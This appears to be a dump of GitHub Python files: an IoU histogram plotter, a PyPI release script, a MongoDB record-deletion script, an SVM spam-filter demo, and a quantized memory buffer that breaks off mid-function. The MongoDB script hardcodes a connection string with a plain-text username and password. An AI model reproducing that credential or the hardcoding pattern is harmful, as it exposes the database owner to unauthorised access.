{"seq_id": "18400893096", "text": "import os\nfrom typing import List\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\n\nfrom domain.contracts.abstract_output_graphs_plot import AbstractOutputGraphsPlot\nfrom domain.models.evaluation_job_parameters import EvaluationJobParameters\n\n\nclass HistogramPlot(AbstractOutputGraphsPlot):\n    def _draw_plot(self, iou_values: np.array, evaluation_job_parameters: EvaluationJobParameters, title: str, file_path: str) -> None:\n        all_bins: List[List[float]] = \\\n            [[round(i, 2) for i in np.arange(0, evaluation_job_parameters.iou_average_threshold + 0.01, 0.05).tolist()],\n             [round(i, 2) for i in np.arange(evaluation_job_parameters.iou_average_threshold,evaluation_job_parameters.iou_good_threshold + 0.01, 0.05).tolist()],\n             [round(i, 2) for i in np.arange(evaluation_job_parameters.iou_good_threshold, 1.01, 0.05).tolist()]]\n\n        fig, ax = plt.subplots(num=3, figsize=(16, 9), dpi=360, facecolor='w', edgecolor='k')\n\n        ax.hist(x=iou_values, bins=all_bins[0], facecolor=\"#FF0000\", alpha=0.5, label=\"Bad IoU\", linewidth=1,\n                 edgecolor='black')\n        ax.hist(x=iou_values, bins=all_bins[1], facecolor=\"#1778F2\", alpha=0.5, label=\"Average IoU\", linewidth=1,\n                 edgecolor='black')\n        ax.hist(x=iou_values, bins=all_bins[2], facecolor=\"#25D366\", alpha=0.5, label=\"Good IoU\", linewidth=1,\n                 edgecolor='black')\n\n        ax.legend(loc='upper left')\n        ax.set_xlabel('IoU')\n        ax.set_ylabel('Number of detections')\n        ax.set_title(title, fontweight=\"bold\")\n        ax.set_xticks(np.arange(0, 1.1, step=0.1))\n        ax.set_xlim(0, 1)\n\n        ax.figure.savefig(file_path, bbox_inches='tight', format='png')\n        # plt.clf()\n\n        plt.close()\n\n    def draw_general_plot(self, linkages_df: DataFrame, evaluation_job_parameters: EvaluationJobParameters,\n                          output_dir: str) -> None:\n        title: str = \"IoU Vs Number of detections\"\n        file_path : str = os.path.join(output_dir,'3-Histogram_All_Classes_IoU_Partition.png' )\n        all_iou_values: np.array = linkages_df.iou.values[pd.notnull(linkages_df.iou.values)]\n        self._draw_plot(iou_values=all_iou_values, evaluation_job_parameters=evaluation_job_parameters, title=title,\n                        file_path=file_path)\n\n    def draw_per_class_plot(self, linkages_df: DataFrame, evaluation_job_parameters: EvaluationJobParameters,\n                            output_dir: str) -> None:\n        linkages_classes: List[str] = linkages_df.loc[linkages_df.gt_label.notnull(), 'gt_label'].unique()\n\n        for class_name in linkages_classes:\n            file_path: str = os.path.join(output_dir, class_name ,'plots', '1-Histogram_'+str(class_name)+'_Class_IoU_Partition.png')\n            title: str = \"IoU Vs Number of detections for class: \" + str(class_name)\n            per_class_iou_values: np.array = linkages_df.loc[(linkages_df[\"gt_label\"] == class_name) & (linkages_df[\"iou\"].notnull()), \"iou\"].values\n\n            if per_class_iou_values.size > 0:\n                self._draw_plot(iou_values=per_class_iou_values, evaluation_job_parameters=evaluation_job_parameters,\n                                title=title, file_path=file_path)\n", "repo_name": "BMW-InnovationLab/SORDI-AI-Evaluation-GUI", "sub_path": "src/application/output_graphs/plots/histogram_plot.py", "file_name": "histogram_plot.py", "file_ext": "py", "file_size_in_byte": 3286, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 69, "dataset": "github-code", "pt": "71", "api": [{"api_name": "domain.contracts.abstract_output_graphs_plot.AbstractOutputGraphsPlot", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "attribute"}, {"api_name": "domain.models.evaluation_job_parameters.EvaluationJobParameters", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "name"}, {"api_name": "domain.models.evaluation_job_parameters.EvaluationJobParameters", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pandas.notnull", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "name"}, {"api_name": "domain.models.evaluation_job_parameters.EvaluationJobParameters", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 51, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "attribute"}]}
{"seq_id": "13684432708", "text": "import sys\n\nimport argparse\nimport datetime\nimport logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Optional, Tuple\n\nfrom mbed_tools_ci_scripts.license_files import add_licence_header\nfrom mbed_tools_ci_scripts.generate_docs import generate_documentation\nfrom mbed_tools_ci_scripts.generate_news import version_project\nfrom mbed_tools_ci_scripts.utils.configuration import configuration, ConfigurationVariable\nfrom mbed_tools_ci_scripts.utils.definitions import CommitType\nfrom mbed_tools_ci_scripts.utils.filesystem_helpers import cd\nfrom mbed_tools_ci_scripts.utils.git_helpers import ProjectTempClone, GitWrapper\nfrom mbed_tools_ci_scripts.utils.logging import log_exception, set_log_level\nfrom mbed_tools_ci_scripts.report_third_party_ip import (\n    get_current_spdx_project,\n    generate_spdx_project_reports,\n    SpdxProject,\n)\n\nENVVAR_TWINE_USERNAME = \"TWINE_USERNAME\"\nENVVAR_TWINE_PASSWORD = \"TWINE_PASSWORD\"\nOUTPUT_DIRECTORY = \"release-dist\"\nSPDX_REPORTS_DIRECTORY = \"licensing\"\n\nlogger = logging.getLogger(__name__)\n\n\ndef tag_and_release(mode: CommitType, current_branch: Optional[str] = None) -> None:\n    \"\"\"Tags and releases.\n\n    Updates repository with changes and releases package to PyPI for general availability.\n\n    Args:\n        mode: release mode\n        current_branch: current branch in case the current branch cannot easily\n        be determined (e.g. on CI)\n\n    \"\"\"\n    _check_credentials()\n    is_new_version, version = version_project(mode)\n    logger.info(f\"Current version: {version}\")\n    if not version:\n        raise ValueError(\"Undefined version.\")\n    if mode == CommitType.DEVELOPMENT:\n        return\n    # The documentation folder will be emptied when the documentation is updated\n    _update_documentation()\n    # Adding the licensing summaries in /docs after folder has been cleared and regenerated.\n    spdx_project = _update_licensing_summary()\n    add_licence_header(0)\n    _update_repository(mode, is_new_version, version, current_branch)\n    if is_new_version:\n        _generate_spdx_reports(spdx_project)\n        _release_to_pypi()\n\n\ndef _get_documentation_config() -> Tuple[Path, str]:\n    docs_dir = Path(configuration.get_value(ConfigurationVariable.DOCUMENTATION_PRODUCTION_OUTPUT_PATH))\n    module_to_document = configuration.get_value(ConfigurationVariable.MODULE_TO_DOCUMENT)\n\n    return docs_dir, module_to_document\n\n\ndef _update_documentation() -> None:\n    \"\"\"Ensures the documentation is in the correct location for releasing.\n\n    Pdoc nests its docs output in a folder with the module's name.\n    This process removes this unwanted folder.\n    \"\"\"\n    docs_dir, module_to_document = _get_documentation_config()\n    generate_documentation(docs_dir, module_to_document)\n\n\ndef _update_licensing_summary() -> SpdxProject:\n    project = get_current_spdx_project()\n    project.generate_licensing_summary(\n        Path(configuration.get_value(ConfigurationVariable.DOCUMENTATION_PRODUCTION_OUTPUT_PATH))\n    )\n    return project\n\n\ndef _update_repository(mode: CommitType, is_new_version: bool, version: str, current_branch: Optional[str]) -> None:\n    \"\"\"Update repository with changes that happened.\"\"\"\n    with ProjectTempClone(desired_branch_name=current_branch) as git:\n        git.configure_for_github()\n        time_str = datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M\")\n        commit_message = f\"🚀 releasing version {version} @ {time_str}\" if is_new_version else \"📰 Automatic changes ⚙\"\n        if mode == CommitType.RELEASE:\n            _commit_release_changes(git, version, commit_message)\n        if is_new_version:\n            logger.info(\"Tagging commit\")\n            git.create_tag(version, message=f\"release {version}\")\n            git.force_push_tag()\n\n\ndef _generate_spdx_reports(project: SpdxProject) -> None:\n    report_directory = Path(configuration.get_value(ConfigurationVariable.PROJECT_ROOT)).joinpath(\n        SPDX_REPORTS_DIRECTORY\n    )\n    report_directory.mkdir(exist_ok=True)\n    generate_spdx_project_reports(project, report_directory)\n\n\ndef _add_version_changes(git: GitWrapper) -> None:\n    git.add(configuration.get_value(ConfigurationVariable.VERSION_FILE_PATH))\n    git.add(configuration.get_value(ConfigurationVariable.CHANGELOG_FILE_PATH))\n    git.add(configuration.get_value(ConfigurationVariable.NEWS_DIR))\n\n\ndef _commit_release_changes(git: GitWrapper, version: str, commit_message: str) -> None:\n    logger.info(f\"Committing release [{version}]...\")\n    git.add(configuration.get_value(ConfigurationVariable.DOCUMENTATION_PRODUCTION_OUTPUT_PATH))\n    _add_version_changes(git)\n    _commit_changes(commit_message, git)\n\n\ndef _commit_changes(commit_message: str, git: GitWrapper) -> None:\n    git.commit(f\"{commit_message}\\n[skip ci]\")\n    git.push()\n    git.pull()\n\n\ndef _check_credentials() -> None:\n    # Checks the GitHub token is defined\n    configuration.get_value(ConfigurationVariable.GIT_TOKEN)\n    # Checks that twine username is defined\n    configuration.get_value(ENVVAR_TWINE_USERNAME)\n    # Checks that twine password is defined\n    configuration.get_value(ENVVAR_TWINE_PASSWORD)\n\n\ndef _release_to_pypi() -> None:\n    logger.info(\"Releasing to PyPI\")\n    logger.info(\"Generating a release package\")\n    root = configuration.get_value(ConfigurationVariable.PROJECT_ROOT)\n    with cd(root):\n        subprocess.check_call(\n            [\n                sys.executable,\n                \"setup.py\",\n                \"clean\",\n                \"--all\",\n                \"sdist\",\n                \"-d\",\n                OUTPUT_DIRECTORY,\n                \"--formats=gztar\",\n                \"bdist_wheel\",\n                \"-d\",\n                OUTPUT_DIRECTORY,\n            ]\n        )\n        _upload_to_test_pypi()\n        _upload_to_pypi()\n\n\ndef _upload_to_pypi() -> None:\n    logger.info(\"Uploading to PyPI\")\n    subprocess.check_call([sys.executable, \"-m\", \"twine\", \"upload\", f\"{OUTPUT_DIRECTORY}/*\"])\n    logger.info(\"Success 👍\")\n\n\ndef _upload_to_test_pypi() -> None:\n    if configuration.get_value_or_default(ConfigurationVariable.IGNORE_PYPI_TEST_UPLOAD, False):\n        logger.warning(\"Not testing package upload on PyPI test (https://test.pypi.org)\")\n        return\n    logger.info(\"Uploading to test PyPI\")\n    subprocess.check_call(\n        [\n            sys.executable,\n            \"-m\",\n            \"twine\",\n            \"upload\",\n            \"--repository-url\",\n            \"https://test.pypi.org/legacy/\",\n            f\"{OUTPUT_DIRECTORY}/*\",\n        ]\n    )\n    logger.info(\"Success 👍\")\n\n\ndef main() -> None:\n    \"\"\"Commands.\n\n    Returns:\n        success code (0) if successful; failure code otherwise.\n    \"\"\"\n    parser = argparse.ArgumentParser(description=\"Releases the project.\")\n    parser.add_argument(\n        \"-t\", \"--release-type\", help=\"type of release to perform\", required=True, type=str, choices=CommitType.choices()\n    )\n    parser.add_argument(\"-b\", \"--current-branch\", help=\"Name of the current branch\", nargs=\"?\")\n    parser.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0, help=\"Verbosity, by default errors are reported.\")\n    args = parser.parse_args()\n    set_log_level(args.verbose)\n    try:\n        tag_and_release(CommitType.parse(args.release_type), args.current_branch)\n    except Exception as e:\n        log_exception(logger, e)\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "ARMmbed/mbed-tools-ci-scripts", "sub_path": "mbed_tools_ci_scripts/tag_and_release.py", "file_name": "tag_and_release.py", "file_ext": "py", "file_size_in_byte": 7377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 29, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 32, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.generate_news.version_project", "line_number": 44, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType.DEVELOPMENT", "line_number": 48, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType", "line_number": 48, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.license_files.add_licence_header", "line_number": 54, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 62, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 62, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 62, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.DOCUMENTATION_PRODUCTION_OUTPUT_PATH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 62, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 63, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 63, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.MODULE_TO_DOCUMENT", "line_number": 63, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 63, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 61, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 61, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.generate_docs.generate_documentation", "line_number": 75, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.report_third_party_ip.get_current_spdx_project", "line_number": 79, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 81, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 81, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 81, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.DOCUMENTATION_PRODUCTION_OUTPUT_PATH", "line_number": 81, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 81, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.report_third_party_ip.SpdxProject", "line_number": 78, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 86, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.git_helpers.ProjectTempClone", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType.RELEASE", "line_number": 92, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType", "line_number": 92, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.report_third_party_ip.SpdxProject", "line_number": 100, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 101, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 101, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 101, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.PROJECT_ROOT", "line_number": 101, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 101, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.report_third_party_ip.generate_spdx_project_reports", "line_number": 105, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.git_helpers.GitWrapper", "line_number": 108, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 109, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 109, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.VERSION_FILE_PATH", "line_number": 109, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 109, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 110, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 110, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.CHANGELOG_FILE_PATH", "line_number": 110, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 110, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 111, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 111, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.NEWS_DIR", "line_number": 111, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 111, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.git_helpers.GitWrapper", "line_number": 114, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 116, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 116, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.DOCUMENTATION_PRODUCTION_OUTPUT_PATH", "line_number": 116, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 116, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.git_helpers.GitWrapper", "line_number": 121, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 129, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 129, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.GIT_TOKEN", "line_number": 129, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 129, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 131, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 131, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 133, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 133, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value", "line_number": 139, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 139, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.PROJECT_ROOT", "line_number": 139, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 139, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.filesystem_helpers.cd", "line_number": 140, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 143, "usage_type": "attribute"}, {"api_name": "subprocess.check_call", "line_number": 162, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 162, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration.get_value_or_default", "line_number": 167, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.configuration", "line_number": 167, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable.IGNORE_PYPI_TEST_UPLOAD", "line_number": 167, "usage_type": "attribute"}, {"api_name": "mbed_tools_ci_scripts.utils.configuration.ConfigurationVariable", "line_number": 167, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 171, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 173, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 191, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType.choices", "line_number": 193, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType", "line_number": 193, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.logging.set_log_level", "line_number": 198, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType.parse", "line_number": 200, "usage_type": "call"}, {"api_name": "mbed_tools_ci_scripts.utils.definitions.CommitType", "line_number": 200, "usage_type": "name"}, {"api_name": "mbed_tools_ci_scripts.utils.logging.log_exception", "line_number": 202, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 203, "usage_type": "call"}]}
{"seq_id": "3802690811", "text": "# import the MongoClient class\nfrom pymongo import MongoClient\nimport json\n\n# build a new client instance of MongoClient\nmongo_client = MongoClient('mongodb+srv://research-project:cGeNVHwDOQBIjXAM@cluster0.mrfjn.mongodb.net/clients?retryWrites=true&w=majority')\n\n# create new database and collection instance\ndb = mongo_client.clients\ncollectionBase = db.base\ncollectionTest2 = db.test2\n\n# enter filename to be displayed\nfilename = input(\"Enter filename: \")\n\n# make an API call to the MongoDB server\nfindClient = collectionBase.find_one({'client_id' : filename})\ncollectionBase.delete_one(findClient)\n\nfindClient = collectionTest2.find_one({'client_id' : filename})\ncollectionTest2.delete_one(findClient)", "repo_name": "Concussion-Research-Project/Applied-Project-and-Minor-Dissertation", "sub_path": "Development Research/Project_Database/deleteClient.py", "file_name": "deleteClient.py", "file_ext": "py", "file_size_in_byte": 704, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymongo.MongoClient", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "7714817080", "text": "##This has been made by M Dhruv and Pabitra Sharma for NNLS final term project\n\n#Import Statements\nimport pandas as pd\nimport numpy as np\nimport re\nfrom sklearn import svm\ndata = pd.read_csv('database_UCI.csv',encoding = 'unicode_escape',keep_default_na=False)\n#Making Inputs\nlst = []\nunwanted = ['=','http','@','ly','__','--','|','_','.)','..','www','com','<','>','[',']','{','}','0','1','2','3','4','5','6','7','8','9']\nbs = ['hi','thanks','respected','dear','sir','a','so','then', 'at', 'is', 'further', 'to', 'too', 'or', 'as', 'if', 'for', 'by', 'this', 'that', 'thus', 'when', 'while', 'and', 'yet', 'or', 'nor', 'finally', 'also', 'besides', 'addition', 'moreover', 'previously', 'meanwhile']\nword_list = []\n# First we create the dictionary of words\nfor i in range(500):\n    lst.append(i)\nnp.random.shuffle(lst)\nfor i in lst:\n    for j in range(2):\n        #print(i)\n        para = data.iloc[i,j]\n        words = re.split(r\"[\\s \\n - _ / . ? , ! \\' \\\" : ;]\",para)\n        for word in words:\n            word = word.lower() # we make all the words lowercase\n            word = word.replace('(','')\n            word = word.replace(')','')\n            word = word.replace('*','')\n            word = word.replace('#','')\n            check = 0\n            for crap in unwanted:\n                if crap in word:\n                    check = 1\n            if (check == 0) and (word not in bs) and (len(word)<20) and  (len(word)>1):\n               word_list.append(word)\n\n# this is for removing duplicates\nfinal_word_list = []\nfor word in word_list:\n    if word not in final_word_list:\n        final_word_list.append(word)\n#print(final_word_list)\n#print(len(final_word_list))\n# This completes the generation of the dictionary\n\n#Now we implement the SVM\n#Inputs\ninput = np.zeros((500,len(final_word_list)))\nfor i in range(500):\n    words_in_mail = []\n    for j in range(2):\n        para = data.iloc[i,j]\n        words = re.split(r\"[\\s \\n - _ / . ? , ! \\' \\\" : ;]\",para)\n        for word in words:\n            word = word.lower() # we make all the words lowercase\n            word = word.replace('(','')\n            word = word.replace(')','')\n            word = word.replace('*','')\n            word = word.replace('#','')\n            check = 0\n            for crap in unwanted:\n                if crap in word:\n                    check = 1\n            if (check == 0) and (word not in bs) and (len(word)<20) and  (len(word)>1):\n               words_in_mail.append(word)\n    for k in range(len(final_word_list)):\n        count = 0\n        for word in words_in_mail:\n            if word == final_word_list[k]:\n                count = count + 1\n        input[i][k] = count\n#print(final_word_list)\noutput = []\nfor i in range(500):\n    output.append(data.iloc[i][0])\n#print(input[49][200])\nclf = svm.SVC()\nclf.fit(input, output)\narr = clf.support_vectors_\n\n# Now to run the demo\ndemo_input = np.zeros(len(final_word_list))\nwords_in_mail = []\nfile = open(\"demo_message.txt\", \"r\")\npara = file.read()\nfile.close()\n#print(para)\nwords = re.split(r\"[\\s \\n - _ / . ? , ! \\' \\\" : ;]\",para)\nfor word in words:\n    word = word.lower() # we make all the words lowercase\n    word = word.replace('(','')\n    word = word.replace(')','')\n    word = word.replace('*','')\n    word = word.replace('#','')\n    check = 0\n    for crap in unwanted:\n        if crap in word:\n            check = 1\n    if (check == 0) and (word not in bs) and (len(word)<20) and  (len(word)>1):\n       words_in_mail.append(word)\n#print(words_in_mail)\nfor k in range(len(final_word_list)):\n    count = 0\n    for word in words_in_mail:\n        if word == final_word_list[k]:\n            count = count + 1\n    demo_input[k] = count\nprint(demo_input)\nprint(clf.predict([demo_input]))\n", "repo_name": "DhruvMeduri/NNLS-Project", "sub_path": "spam_filter_demo.py", "file_name": "spam_filter_demo.py", "file_ext": "py", "file_size_in_byte": 3732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "re.split", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "re.split", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 76, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 81, "usage_type": "call"}, {"api_name": "re.split", "line_number": 87, "usage_type": "call"}]}
{"seq_id": "70028863589", "text": "import argparse\nfrom typing import List, Dict, Tuple\n\nimport torch\nfrom numpy.typing import NDArray\nimport numpy as np\n\n\nclass QuantizedTensor:\n    def __init__(self, input_tensor: torch.Tensor, bits: int = 8):\n        self.bits = bits\n        self.min_val = input_tensor.min()\n        self.max_val = input_tensor.max()\n        \n        # Normalize the input tensor to the range [0, 1]\n        normalized_tensor = (input_tensor - self.min_val) / (self.max_val - self.min_val)\n\n        # Scale the normalized tensor to the quantization range\n        quantization_range = 2 ** self.bits - 1\n        scaled_tensor = normalized_tensor * quantization_range\n\n        # Round the values and convert them to integers\n        self.quantized_tensor = torch.round(scaled_tensor).to(torch.uint8)\n\n    def dequantize(self) -> torch.Tensor:\n        # Convert the quantized tensor back to float32\n        dequantized_normalized_tensor = self.quantized_tensor.to(torch.float32) / (2 ** self.bits - 1)\n        dequantized_tensor = dequantized_normalized_tensor * (self.max_val - self.min_val) + self.min_val\n        return dequantized_tensor\n\nclass MemoryBuffer():\n\n    def __init__(self, args: argparse.Namespace,  task2classes: Dict, representation_size: int):\n        self.args = args\n        self.memory = {}\n        self.task2classes = task2classes\n        self.representation_size = representation_size\n        for _, classes in self.task2classes.items():\n            for class_ in classes:\n                self.memory[class_] = None\n\n    def insert_samples(self, all_samples: List[torch.Tensor], labels: List) -> None:\n        for label, class_samples in zip(labels, all_samples):\n           self.memory[int(label)] = QuantizedTensor(class_samples)\n        return None\n            \n\n    def sample_n(self, n: int, tasks: List) -> Tuple[NDArray, NDArray]:\n        samples_per_class = self.get_samples_per_class(n, tasks)\n        samples = []\n        labels = []\n        i = 0\n        for task in tasks:\n            for class_ in self.task2classes[task]:\n                class_samples = self.memory[class_].dequantize().cpu()\n                try:\n                    samples.extend(class_samples[np.random.choice(class_samples.shape[0],\n                                                        samples_per_class[i], replace=False)])\n                except:\n                    # If not enough memory samples, sample with replacement.\n                    samples.extend(class_samples[np.random.choice(class_samples.shape[0],\n                                                        samples_per_class[i], replace=True)])\n                labels.extend(list([class_])*samples_per_class[i])\n                i = i + 1\n        return np.stack(samples), np.array(labels)\n    \n    def get_n_from_classes(self, n: int, tasks: List) -> Tuple:\n        labels = []\n        samples = []\n        time = 0\n        ages = []\n        for task in reversed(tasks):\n            for class_ in self.task2classes[task]:\n                class_samples = self.memory[class_].dequantize().cpu()\n                try:\n                    samples.append(class_samples[np.random.choice(class_samples.shape[0],n, replace=False)])\n                except:\n                    # If not enough memory samples, sample with replacement.\n                    samples.append(class_samples[np.random.choice(class_samples.shape[0],n, replace=True)])\n                labels.append(class_)\n                ages.append(time)\n            time = time + 1\n        return samples, labels, ages\n\n\n    def get_samples_per_class(self, n: int, tasks: List) -> List:\n        number_of_classes = 